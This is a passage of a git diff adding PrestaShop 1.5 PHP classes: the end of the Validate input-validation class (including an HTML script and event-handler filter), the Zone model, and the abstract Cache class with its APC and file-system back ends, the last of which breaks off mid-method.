+ * @return boolean Validity is ok or not + */ + public static function isPrice($price) + { + return preg_match('/^[0-9]{1,10}(\.[0-9]{1,9})?$/', $price); + } + + /** + * Check for price validity (including negative price) + * + * @param string $price Price to validate + * @return boolean Validity is ok or not + */ + public static function isNegativePrice($price) + { + return preg_match('/^[-]?[0-9]{1,10}(\.[0-9]{1,9})?$/', $price); + } + + /** + * Check for language code (ISO) validity + * + * @param string $iso_code Language code (ISO) to validate + * @return boolean Validity is ok or not + */ + public static function isLanguageIsoCode($iso_code) + { + return preg_match('/^[a-zA-Z]{2,3}$/', $iso_code); + } + + public static function isLanguageCode($s) + { + return preg_match('/^[a-zA-Z]{2}(-[a-zA-Z]{2})?$/', $s); + } + + public static function isStateIsoCode($iso_code) + { + return preg_match('/^[a-zA-Z0-9]{1,4}((-)[a-zA-Z0-9]{1,4})?$/', $iso_code); + } + + public static function isNumericIsoCode($iso_code) + { + return preg_match('/^[0-9]{2,3}$/', $iso_code); + } + + /** + * Check for voucher name validity + * + * @param string $voucher voucher to validate + * @return boolean Validity is ok or not + */ + public static function isDiscountName($voucher) + { + return preg_match('/^[^!<>,;?=+()@"°{}_$%:]{3,32}$/u', $voucher); + } + + /** + * Check for product or category name validity + * + * @param string $name Product or category name to validate + * @return boolean Validity is ok or not + */ + public static function isCatalogName($name) + { + return preg_match('/^[^<>;=#{}]*$/u', $name); + } + + /** + * Check for a message validity + * + * @param string $message Message to validate + * @return boolean Validity is ok or not + */ + public static function isMessage($message) + { + return !preg_match('/[<>{}]/i', $message); + } + + /** + * Check for a country name validity + * + * @param string $name Country name to validate + * @return boolean Validity is ok or not + */ + public static function isCountryName($name) + { + return preg_match('/^[a-zA-Z -]+$/', $name); + } + + /** + * Check for a link (url-rewriting only) validity + * + * @param string $link Link to validate + * @return boolean Validity is ok or not + */ + public static function isLinkRewrite($link) + { + if (Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL')) + return preg_match('/^[_a-zA-Z0-9\-\pL]+$/u', $link); + return preg_match('/^[_a-zA-Z0-9\-]+$/', $link); + } + + /** + * Check for a route pattern validity + * + * @param string $pattern to validate + * @return boolean Validity is ok or not + */ + public static function isRoutePattern($pattern) + { + if (Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL')) + return preg_match('/^[_a-zA-Z0-9\(\)\.{}:\/\-\pL]+$/u', $pattern); + return preg_match('/^[_a-zA-Z0-9\(\)\.{}:\/\-]+$/', $pattern); + } + + /** + * Check for a postal address validity + * + * @param string $address Address to validate + * @return boolean Validity is ok or not + */ + public static function isAddress($address) + { + return empty($address) || preg_match('/^[^!<>?=+@{}_$%]*$/u', $address); + } + + /** + * Check for city name validity + * + * @param string $city City name to validate + * @return boolean Validity is ok or not + */ + public static function isCityName($city) + { + return preg_match('/^[^!<>;?=+@#"°{}_$%]*$/u', $city); + } + + /** + * Check for search query validity + * + * @param string $search Query to validate + * @return boolean Validity is ok or not + */ + public static function isValidSearch($search) + { + return preg_match('/^[^<>;=#{}]{0,64}$/u', $search); + } + + /** + * Check for standard name validity + * + * @param string $name Name to validate + * @return boolean Validity is ok or not + */ + public static function isGenericName($name) + { + return empty($name) || preg_match('/^[^<>=#{}]*$/u', $name); + } + + /** + * Check for HTML field validity (no XSS please !) + * + * @param string $html HTML field to validate + * @return boolean Validity is ok or not + */ + public static function isCleanHtml($html) + { + $events = 'onmousedown|onmousemove|onmmouseup|onmouseover|onmouseout|onload|onunload|onfocus|onblur|onchange'; + $events .= '|onsubmit|ondblclick|onclick|onkeydown|onkeyup|onkeypress|onmouseenter|onmouseleave|onerror|onselect|onreset|onabort|ondragdrop|onresize|onactivate|onafterprint|onmoveend'; + $events .= '|onafterupdate|onbeforeactivate|onbeforecopy|onbeforecut|onbeforedeactivate|onbeforeeditfocus|onbeforepaste|onbeforeprint|onbeforeunload|onbeforeupdate|onmove'; + $events .= '|onbounce|oncellchange|oncontextmenu|oncontrolselect|oncopy|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|ondeactivate|ondrag|ondragend|ondragenter|onmousewheel'; + $events .= '|ondragleave|ondragover|ondragstart|ondrop|onerrorupdate|onfilterchange|onfinish|onfocusin|onfocusout|onhashchange|onhelp|oninput|onlosecapture|onmessage|onmouseup|onmovestart'; + $events .= '|onoffline|ononline|onpaste|onpropertychange|onreadystatechange|onresizeend|onresizestart|onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onsearch|onselectionchange'; + $events .= '|onselectstart|onstart|onstop'; + return (!preg_match('/<[ \t\n]*script/ims', $html) && !preg_match('/('.$events.')[ \t\n]*=/ims', $html) && !preg_match('/.*script\:/ims', $html) && !preg_match('/<[ \t\n]*i?frame/ims', $html)); + } + + /** + * Check for product reference validity + * + * @param string $reference Product reference to validate + * @return boolean Validity is ok or not + */ + public static function isReference($reference) + { + return preg_match('/^[^<>;={}]*$/u', $reference); + } + + /** + * Check for password validity + * + * @param string $passwd Password to validate + * @param int $size + * @return boolean Validity is ok or not + */ + public static function isPasswd($passwd, $size = 5) + { + return (Tools::strlen($passwd) >= $size && Tools::strlen($passwd) < 255); + } + + public static function isPasswdAdmin($passwd) + { + return Validate::isPasswd($passwd, 8); + } + + /** + * Check for configuration key validity + * + * @param string $config_name Configuration key to validate + * @return boolean Validity is ok or not + */ + public static function isConfigName($config_name) + { + return preg_match('/^[a-zA-Z_0-9-]+$/', $config_name); + } + + /** + * Check date formats like http://php.net/manual/en/function.date.php + * + * @param string $date_format date format to check + * @return boolean Validity is ok or not + */ + public static function isPhpDateFormat($date_format) + { + // We can't really check if this is valid or not, because this is a string and you can write whatever you want in it. + // That's why only < et > are forbidden (HTML) + return preg_match('/^[^<>]+$/', $date_format); + } + + /** + * Check for date format + * + * @param string $date Date to validate + * @return boolean Validity is ok or not + */ + public static function isDateFormat($date) + { + return (bool)preg_match('/^([0-9]{4})-((0?[0-9])|(1[0-2]))-((0?[0-9])|([1-2][0-9])|(3[01]))( [0-9]{2}:[0-9]{2}:[0-9]{2})?$/', $date); + } + + /** + * Check for date validity + * + * @param string $date Date to validate + * @return boolean Validity is ok or not + */ + public static function isDate($date) + { + if (!preg_match('/^([0-9]{4})-((?:0?[0-9])|(?:1[0-2]))-((?:0?[0-9])|(?:[1-2][0-9])|(?:3[01]))( [0-9]{2}:[0-9]{2}:[0-9]{2})?$/', $date, $matches)) + return false; + return checkdate((int)$matches[2], (int)$matches[3], (int)$matches[1]); + } + + /** + * Check for birthDate validity + * + * @param string $date birthdate to validate + * @return boolean Validity is ok or not + */ + public static function isBirthDate($date) + { + if (empty($date) || $date == '0000-00-00') + return true; + if (preg_match('/^([0-9]{4})-((?:0?[1-9])|(?:1[0-2]))-((?:0?[1-9])|(?:[1-2][0-9])|(?:3[01]))([0-9]{2}:[0-9]{2}:[0-9]{2})?$/', $date, $birth_date)) + { + if ($birth_date[1] > date('Y') && $birth_date[2] > date('m') && $birth_date[3] > date('d')) + return false; + return true; + } + return false; + } + + /** + * Check for boolean validity + * + * @param boolean $bool Boolean to validate + * @return boolean Validity is ok or not + */ + public static function isBool($bool) + { + return $bool === null || is_bool($bool) || preg_match('/^0|1$/', $bool); + } + + /** + * Check for phone number validity + * + * @param string $number Phone number to validate + * @return boolean Validity is ok or not + */ + public static function isPhoneNumber($number) + { + return preg_match('/^[+0-9. ()-]*$/', $number); + } + + /** + * Check for barcode validity (EAN-13) + * + * @param string $ean13 Barcode to validate + * @return boolean Validity is ok or not + */ + public static function isEan13($ean13) + { + return !$ean13 || preg_match('/^[0-9]{0,13}$/', $ean13); + } + + /** + * Check for barcode validity (UPC) + * + * @param string $upc Barcode to validate + * @return boolean Validity is ok or not + */ + public static function isUpc($upc) + { + return !$upc || preg_match('/^[0-9]{0,12}$/', $upc); + } + + /** + * Check for postal code validity + * + * @param string $postcode Postal code to validate + * @return boolean Validity is ok or not + */ + public static function isPostCode($postcode) + { + return empty($postcode) || preg_match('/^[a-zA-Z 0-9-]+$/', $postcode); + } + + /** + * Check for zip code format validity + * + * @param string $zip_code zip code format to validate + * @return boolean Validity is ok or not + */ + public static function isZipCodeFormat($zip_code) + { + if (!empty($zip_code)) + return preg_match('/^[NLCnlc 0-9-]+$/', $zip_code); + return true; + } + + /** + * Check for table or identifier validity + * Mostly used in database for ordering : ASC / DESC + * + * @param string $way Keyword to validate + * @return boolean Validity is ok or not + */ + public static function isOrderWay($way) + { + return ($way === 'ASC' | $way === 'DESC' | $way === 'asc' | $way === 'desc'); + } + + /** + * Check for table or identifier validity + * Mostly used in database for ordering : ORDER BY field + * + * @param string $order Field to validate + * @return boolean Validity is ok or not + */ + public static function isOrderBy($order) + { + return preg_match('/^[a-zA-Z0-9._-]+$/', $order); + } + + /** + * Check for table or identifier validity + * Mostly used in database for table names and id_table + * + * @param string $table Table/identifier to validate + * @return boolean Validity is ok or not + */ + public static function isTableOrIdentifier($table) + { + return preg_match('/^[a-zA-Z0-9_-]+$/', $table); + } + + /** + * @deprecated 1.5.0 You should not use list like this, please use an array when you build a SQL query + */ + public static function isValuesList() + { + Tools::displayAsDeprecated(); + return true; + /* For history reason, we keep this line */ + // return preg_match('/^[0-9,\'(). NULL]+$/', $list); + } + + /** + * Check for tags list validity + * + * @param string $list List to validate + * @return boolean Validity is ok or not + */ + public static function isTagsList($list) + { + return preg_match('/^[^!<>;?=+#"°{}_$%]*$/u', $list); + } + + /** + * Check for product visibility + * + * @param string $s visibility to check + * @return boolean Validity is ok or not + */ + public static function isProductVisibility($s) + { + return preg_match('/^both|catalog|search|none$/i', $s); + } + + /** + * Check for an integer validity + * + * @param integer $value Integer to validate + * @return boolean Validity is ok or not + */ + public static function isInt($value) + { + return ((string)(int)$value === (string)$value || $value === false); + } + + /** + * Check for an integer validity (unsigned) + * + * @param integer $value Integer to validate + * @return boolean Validity is ok or not + */ + public static function isUnsignedInt($value) + { + return (preg_match('#^[0-9]+$#', (string)$value) && $value < 4294967296 && $value >= 0); + } + + /** + * Check for an percentage validity (between 0 and 100) + * + * @param float $value Float to validate + * @return boolean Validity is ok or not + */ + public static function isPercentage($value) + { + return (Validate::isFloat($value) && $value >= 0 && $value <= 100); + } + + /** + * Check for an integer validity (unsigned) + * Mostly used in database for auto-increment + * + * @param integer $id Integer to validate + * @return boolean Validity is ok or not + */ + public static function isUnsignedId($id) + { + return Validate::isUnsignedInt($id); /* Because an id could be equal to zero when there is no association */ + } + + public static function isNullOrUnsignedId($id) + { + return $id === null || Validate::isUnsignedId($id); + } + + /** + * Check object validity + * + * @param object $object Object to validate + * @return boolean Validity is ok or not + */ + public static function isLoadedObject($object) + { + return is_object($object) && $object->id; + } + + /** + * Check object validity + * + * @param integer $object Object to validate + * @return boolean Validity is ok or not + */ + public static function isColor($color) + { + return preg_match('/^(#[0-9a-fA-F]{6}|[a-zA-Z0-9-]*)$/', $color); + } + + /** + * Check url validity (disallowed empty string) + * + * @param string $url Url to validate + * @return boolean Validity is ok or not + */ + public static function isUrl($url) + { + return preg_match('/^[~:#,%&_=\(\)\.\? \+\-@\/a-zA-Z0-9]+$/', $url); + } + + /** + * Check tracking number validity (disallowed empty string) + * + * @param string $tracking_number Tracking number to validate + * @return boolean Validity is ok or not + */ + public static function isTrackingNumber($tracking_number) + { + return preg_match('/^[~:#,%&_=\(\)\.\? \+\-@\/a-zA-Z0-9]+$/', $tracking_number); + } + + /** + * Check url validity (allowed empty string) + * + * @param string $url Url to validate + * @return boolean Validity is ok or not + */ + public static function isUrlOrEmpty($url) + { + return empty($url) || Validate::isUrl($url); + } + + /** + * Check if URL is absolute + * + * @param string $url URL to validate + * @return boolean Validity is ok or not + */ + public static function isAbsoluteUrl($url) + { + if (!empty($url)) + return preg_match('/^https?:\/\/[,:#%&_=\(\)\.\? \+\-@\/a-zA-Z0-9]+$/', $url); + return true; + } + + public static function isMySQLEngine($engine) + { + return (in_array($engine, array('InnoDB', 'MyISAM'))); + } + + public static function isUnixName($data) + { + return preg_match('/^[a-z0-9\._-]+$/ui', $data); + } + + public static function isTablePrefix($data) + { + // Even if "-" is theorically allowed, it will be considered a syntax error if you do not add backquotes (`) around the table name + return preg_match('/^[a-z0-9_]+$/ui', $data); + } + + /** + * Check for standard name file validity + * + * @param string $name Name to validate + * @return boolean Validity is ok or not + */ + public static function isFileName($name) + { + return preg_match('/^[a-zA-Z0-9_.-]+$/', $name); + } + + /** + * Check for standard name directory validity + * + * @param string $dir Directory to validate + * @return boolean Validity is ok or not + */ + public static function isDirName($dir) + { + return (bool)preg_match('/^[a-zA-Z0-9_.-]*$/', $dir); + } + + /** + * Check for admin panel tab name validity + * + * @param string $name Name to validate + * @return boolean Validity is ok or not + */ + public static function isTabName($name) + { + return preg_match('/^[a-zA-Z0-9_-]*$/', $name); + } + + public static function isWeightUnit($unit) + { + return (Validate::isGenericName($unit) & (Tools::strlen($unit) < 5)); + } + + public static function isDistanceUnit($unit) + { + return (Validate::isGenericName($unit) & (Tools::strlen($unit) < 5)); + } + + public static function isSubDomainName($domain) + { + return preg_match('/^[a-zA-Z0-9-_]*$/', $domain); + } + + public static function isVoucherDescription($text) + { + return preg_match('/^([^<>{}]|<br \/>)*$/i', $text); + } + + /** + * Check if the value is a sort direction value (DESC/ASC) + * + * @param char $value + * @return boolean Validity is ok or not + */ + public static function isSortDirection($value) + { + return ($value !== null && ($value === 'ASC' || $value === 'DESC')); + } + + /** + * Customization fields' label validity + * + * @param string $label + * @return boolean Validity is ok or not + */ + public static function isLabel($label) + { + return (preg_match('/^[^{}<>]*$/u', $label)); + } + + /** + * Price display method validity + * + * @param integer $data Data to validate + * @return boolean Validity is ok or not + */ + public static function isPriceDisplayMethod($data) + { + return ($data == PS_TAX_EXC || $data == PS_TAX_INC); + } + + /** + * @param string $dni to validate + * @return bool + */ + public static function isDniLite($dni) + { + return empty($dni) || (bool)preg_match('/^[0-9A-Za-z-.]{1,16}$/U', $dni); + } + + /** + * Check if $data is a PrestaShop cookie object + * + * @param mixed $data to validate + * @return bool + */ + public static function isCookie($data) + { + return (is_object($data) && get_class($data) == 'Cookie'); + } + + /** + * Price display method validity + * + * @param string $data Data to validate + * @return boolean Validity is ok or not + */ + public static function isString($data) + { + return is_string($data); + } + + /** + * Check if the data is a reduction type (amout or percentage) + * + * @param string $data Data to validate + * @return boolean Validity is ok or not + */ + public static function isReductionType($data) + { + return ($data === 'amount' || $data === 'percentage'); + } + + /** + * Check for bool_id + * + * @param string $ids + * @return boolean Validity is ok or not + */ + public static function isBoolId($ids) + { + return (bool)preg_match('#^[01]_[0-9]+$#', $ids); + } + + /** + * @deprecated 1.5.0 Use Validate::isBoolId() + */ + public static function isBool_Id($ids) + { + Tools::displayAsDeprecated(); + return Validate::isBoolId($ids); + } + + /** + * Check the localization pack part selected + * + * @param string $data Localization pack to check + * @return boolean Validity is ok or not + */ + public static function isLocalizationPackSelection($data) + { + return ($data === 'states' || $data === 'taxes' || $data === 'currencies' || $data === 'languages' || $data === 'units'); + } + + /** + * Check for PHP serialized data + * + * @param string $data Serialized data to validate + * @return boolean Validity is ok or not + */ + public static function isSerializedArray($data) + { + return $data === null || (is_string($data) && preg_match('/^a:[0-9]+:{.*;}$/s', $data)); + } + + /** + * Check for Latitude/Longitude + * + * @param string $data Coordinate to validate + * @return boolean Validity is ok or not + */ + public static function isCoordinate($data) + { + return $data === null || preg_match('/^\-?[0-9]{1,8}\.[0-9]{1,8}$/s', $data); + } + + /** + * Check for Language Iso Code + * + * @param string $iso_code + * @return boolean Validity is ok or not + */ + public static function isLangIsoCode($iso_code) + { + return (bool)preg_match('/^[a-zA-Z]{2,3}$/s', $iso_code); + } + + /** + * Check for Language File Name + * + * @param string $file_name + * @return boolean Validity is ok or not + */ + public static function isLanguageFileName($file_name) + { + return (bool)preg_match('/^[a-zA-Z]{2,3}\.gzip$/s', $file_name); + } + + /** + * + * @param array $ids + * @return boolean return true if the array contain only unsigned int value + */ + public static function isArrayWithIds($ids) + { + if (count($ids)) + foreach ($ids as $id) + if ($id == 0 || !Validate::isUnsignedInt($id)) + return false; + return true; + } + + /** + * + * @param array $zones + * @return boolean return true if array contain all value required for an image map zone + */ + public static function isSceneZones($zones) + { + foreach ($zones as $zone) + { + if (!isset($zone['x1']) || !Validate::isUnsignedInt($zone['x1'])) + return false; + if (!isset($zone['y1']) || !Validate::isUnsignedInt($zone['y1'])) + return false; + if (!isset($zone['width']) || !Validate::isUnsignedInt($zone['width'])) + return false; + if (!isset($zone['height']) || !Validate::isUnsignedInt($zone['height'])) + return false; + if (!isset($zone['id_product']) || !Validate::isUnsignedInt($zone['id_product'])) + return false; + } + return true; + } + + /** + * + * @param array $stock_management + * @return boolean return true if is a valide stock management + */ + public static function isStockManagement($stock_management) + { + if (!in_array($stock_management, array('WA', 'FIFO', 'LIFO'))) + return false; + return true; + } + + /** + * Validate SIRET Code + * @static + * @param $siret SIRET Code + * @return boolean Return true if is valid + */ + public static function isSiret($siret) + { + if (Tools::strlen($siret) != 14) + return false; + $sum = 0; + for ($i = 0; $i != 14; $i++) + { + $tmp = ((($i + 1) % 2) + 1) * intval($siret[$i]); + if ($tmp >= 10) + $tmp -= 9; + $sum += $tmp; + } + return ($sum % 10 === 0); + } + + /** + * Validate APE Code + * @static + * @param $ape APE Code + * @return boolean Return true if is valid + */ + public static function isApe($ape) + { + return (bool)preg_match('/^[0-9]{3,4}[a-zA-Z]{1}$/s', $ape); + } + + public static function isControllerName($name) + { + return (bool)(is_string($name) && preg_match('/^[0-9a-zA-Z-_]*$/u', $name)); + } + +} + diff --git a/classes/Zone.php b/classes/Zone.php new file mode 100755 index 0000000..699a90e --- /dev/null +++ b/classes/Zone.php @@ -0,0 +1,102 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ZoneCore extends ObjectModel +{ + /** @var string Name */ + public $name; + + /** @var boolean Zone status */ + public $active = true; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'zone', + 'primary' => 'id_zone', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + protected $webserviceParameters = array(); + + /** + * Get all available geographical zones + * + * @param bool $active + * @return array Zones + */ + public static function getZones($active = false) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'zone` + '.($active ? 'WHERE active = 1' : '').' + ORDER BY `name` ASC + '); + } + + /** + * Get a zone ID from its default language name + * + * @param string $name + * @return integer id_zone + */ + public static function getIdByName($name) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_zone` + FROM `'._DB_PREFIX_.'zone` + WHERE `name` = \''.pSQL($name).'\' + '); + } + + /** + * Delete a zone + * + * @return boolean Deletion result + */ + public function delete() + { + if (parent::delete()) + { + // Delete regarding delivery preferences + $result = Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'carrier_zone WHERE id_zone = '.(int)$this->id); + $result &= Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'delivery WHERE id_zone = '.(int)$this->id); + + // Update Country & state zone with 0 + $result &= Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'country SET id_zone = 0 WHERE id_zone = '.(int)$this->id); + $result &= Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'state SET id_zone = 0 WHERE id_zone = '.(int)$this->id); + + return $result; + } + + return false; + } +} \ No newline at end of file diff --git a/classes/cache/Cache.php b/classes/cache/Cache.php new file mode 100755 index 0000000..9343f04 --- /dev/null +++ b/classes/cache/Cache.php @@ -0,0 +1,339 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class CacheCore +{ + /** + * Name of keys index + */ + const KEYS_NAME = '__keys__'; + + /** + * Name of SQL cache index + */ + const SQL_TABLES_NAME = 'tablesCached'; + + /** + * @var Cache + */ + protected static $instance; + + /** + * @var array List all keys of cached data and their associated ttl + */ + protected $keys = array(); + + /** + * @var array Store list of tables and their associated keys for SQL cache (warning: this var must not be initialized here !) + */ + protected $sql_tables_cached; + + /** + * @var array List of blacklisted tables for SQL cache, these tables won't be indexed + */ + protected $blacklist = array( + 'cart', + 'cart_cart_rule', + 'cart_product', + 'connections', + 'connections_source', + 'connections_page', + 'customer', + 'customer_group', + 'customized_data', + 'guest', + 'pagenotfound', + 'page_viewed', + ); + + /** + * @var array Store local cache + */ + protected static $local = array(); + + /** + * Cache a data + * + * @param string $key + * @param mixed $value + * @param int $ttl + * @return bool + */ + abstract protected function _set($key, $value, $ttl = 0); + + /** + * Retrieve a cached data by key + * + * @param string $key + * @return mixed + */ + abstract protected function _get($key); + + /** + * Check if a data is cached by key + * + * @param string $key + * @return bool + */ + abstract protected function _exists($key); + + /** + * Delete a data from the cache by key + * + * @param string $key + * @return bool + */ + abstract protected function _delete($key); + + /** + * Write keys index + */ + abstract protected function _writeKeys(); + + /** + * Clean all cached data + * + * @return bool + */ + abstract public function flush(); + + /** + * @return Cache + */ + public static function getInstance() + { + if (!self::$instance) + { + $caching_system = _PS_CACHING_SYSTEM_; + self::$instance = new $caching_system(); + + } + return self::$instance; + } + + /** + * Store a data in cache + * + * @param string $key + * @param mixed $value + * @param int $ttl + * @return bool + */ + public function set($key, $value, $ttl = 0) + { + if ($this->_set($key, $value)) + { + if ($ttl < 0) + $ttl = 0; + + $this->keys[$key] = ($ttl == 0) ? 0 : time() + $ttl; + $this->_writeKeys(); + return true; + } + return false; + } + + /** + * Retrieve a data from cache + * + * @param string $key + * @return mixed + */ + public function get($key) + { + if (!isset($this->keys[$key])) + return false; + + return $this->_get($key); + } + + /** + * Check if a data is cached + * + * @param string $key + * @return bool + */ + public function exists($key) + { + if (!isset($this->keys[$key])) + return false; + + return $this->_exists($key); + } + + /** + * Delete one or several data from cache (* joker can be used) + * E.g.: delete('*'); delete('my_prefix_*'); delete('my_key_name'); + * + * @param string $key + * @return array List of deleted keys + */ + public function delete($key) + { + // Get list of keys to delete + $keys = array(); + if ($key == '*') + $keys = $this->keys; + else if (strpos($key, '*') === false) + $keys = array($key); + else + { + $pattern = str_replace('\\*', '.*', preg_quote($key)); + foreach ($this->keys as $k => $ttl) + if (preg_match('#^'.$pattern.'$#', $k)) + $keys[] = $k; + } + + // Delete keys + foreach ($keys as $key) + { + if (!isset($this->keys[$key])) + continue; + + if ($this->_delete($key)) + unset($this->keys[$key]); + } + + $this->_writeKeys(); + return $keys; + } + + /** + * Store a query in cache + * + * @param string $query + * @param array $result + */ + public function setQuery($query, $result) + { + if ($this->isBlacklist($query)) + return true; + + if (is_null($this->sql_tables_cached)) + { + $this->sql_tables_cached = $this->get(_COOKIE_IV_.self::SQL_TABLES_NAME); + if (!is_array($this->sql_tables_cached)) + $this->sql_tables_cached = array(); + } + + // Store query results in cache if this query is not already cached + $key = md5(_COOKIE_IV_.$query); + if ($this->exists($key)) + return true; + $this->set($key, $result); + + // Get all table from the query and save them in cache + if ($tables = $this->getTables($query)) + foreach ($tables as $table) + if (!isset($this->sql_tables_cached[$table][$key])) + $this->sql_tables_cached[$table][$key] = true; + $this->set(_COOKIE_IV_.self::SQL_TABLES_NAME, $this->sql_tables_cached); + } + + protected function getTables($string) + { + if (preg_match_all('/(?:from|join|update|into)\s+`?('._DB_PREFIX_.'[a-z_-]+)`?(?:,\s{0,}`?('._DB_PREFIX_.'[a-z_-]+)`?)?\s.*/Umsi', $string, $res)) + return array_merge($res[1], $res[2]); + else + return false; + } + + /** + * Delete a query from cache + * + * @param string $query + */ + public function deleteQuery($query) + { + if (is_null($this->sql_tables_cached)) + { + $this->sql_tables_cached = $this->get(_COOKIE_IV_.self::SQL_TABLES_NAME); + if (!is_array($this->sql_tables_cached)) + $this->sql_tables_cached = array(); + } + + if ($tables = $this->getTables($query)) + foreach ($tables as $table) + if (isset($this->sql_tables_cached[$table])) + { + foreach (array_keys($this->sql_tables_cached[$table]) as $fs_key) + { + $this->delete($fs_key); + $this->delete($fs_key.'_nrows'); + } + unset($this->sql_tables_cached[$table]); + } + $this->set(_COOKIE_IV_.self::SQL_TABLES_NAME, $this->sql_tables_cached); + } + + /** + * Check if a query contain blacklisted tables + * + * @param string $query + * @return bool + */ + protected function isBlacklist($query) + { + foreach ($this->blacklist as $find) + if (strpos($query, $find)) + return true; + return false; + } + + public static function store($key, $value) + { + Cache::$local[$key] = $value; + } + + public static function retrieve($key) + { + return isset(Cache::$local[$key]) ? Cache::$local[$key] : null; + } + + public static function retrieveAll() + { + return Cache::$local; + } + + public static function isStored($key) + { + return isset(Cache::$local[$key]); + } + + public static function clean($key) + { + if (strpos($key, '*') !== false) + { + $regexp = str_replace('\\*', '.*', preg_quote($key, '#')); + foreach (array_keys(Cache::$local) as $key) + if (preg_match('#^'.$regexp.'$#', $key)) + unset(Cache::$local[$key]); + } + else + unset(Cache::$local[$key]); + } + +} diff --git a/classes/cache/CacheApc.php b/classes/cache/CacheApc.php new file mode 100755 index 0000000..e32c04a --- /dev/null +++ b/classes/cache/CacheApc.php @@ -0,0 +1,88 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This class require PECL APC extension + * + * @since 1.5.0 + */ +class CacheApcCore extends Cache +{ + public function __construct() + { + $this->keys = array(); + $cache_info = apc_cache_info('user'); + foreach ($cache_info['cache_list'] as $entry) + $this->keys[$entry['info']] = $entry['ttl']; + } + + /** + * @see Cache::_set() + */ + protected function _set($key, $value, $ttl = 0) + { + return apc_store($key, $value, $ttl); + } + + /** + * @see Cache::_get() + */ + protected function _get($key) + { + return apc_fetch($key); + } + + /** + * @see Cache::_exists() + */ + protected function _exists($key) + { + return isset($this->keys[$key]); + } + + /** + * @see Cache::_delete() + */ + protected function _delete($key) + { + return apc_delete($key); + } + + /** + * @see Cache::_writeKeys() + */ + protected function _writeKeys() + { + } + + /** + * @see Cache::flush() + */ + public function flush() + { + return apc_clear_cache(); + } +} diff --git a/classes/cache/CacheFs.php b/classes/cache/CacheFs.php new file mode 100755 index 0000000..538ea18 --- /dev/null +++ b/classes/cache/CacheFs.php @@ -0,0 +1,158 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CacheFsCore extends Cache +{ + /** + * @var int Number of subfolders to dispatch cached filenames + */ + protected $depth; + + protected function __construct() + { + $this->depth = Db::getInstance()->getValue('SELECT value FROM '._DB_PREFIX_.'configuration WHERE name= \'PS_CACHEFS_DIRECTORY_DEPTH\'', false); + + $keys_filename = $this->getFilename(self::KEYS_NAME); + if (file_exists($keys_filename)) + $this->keys = unserialize(file_get_contents($keys_filename)); + } + + /** + * @see Cache::_set() + */ + protected function _set($key, $value, $ttl = 0) + { + return (@file_put_contents($this->getFilename($key), serialize($value))); + } + + /** + * @see Cache::_get() + */ + protected function _get($key) + { + if ($this->keys[$key] > 0 && $this->keys[$key] < time()) + { + $this->delete($key); + 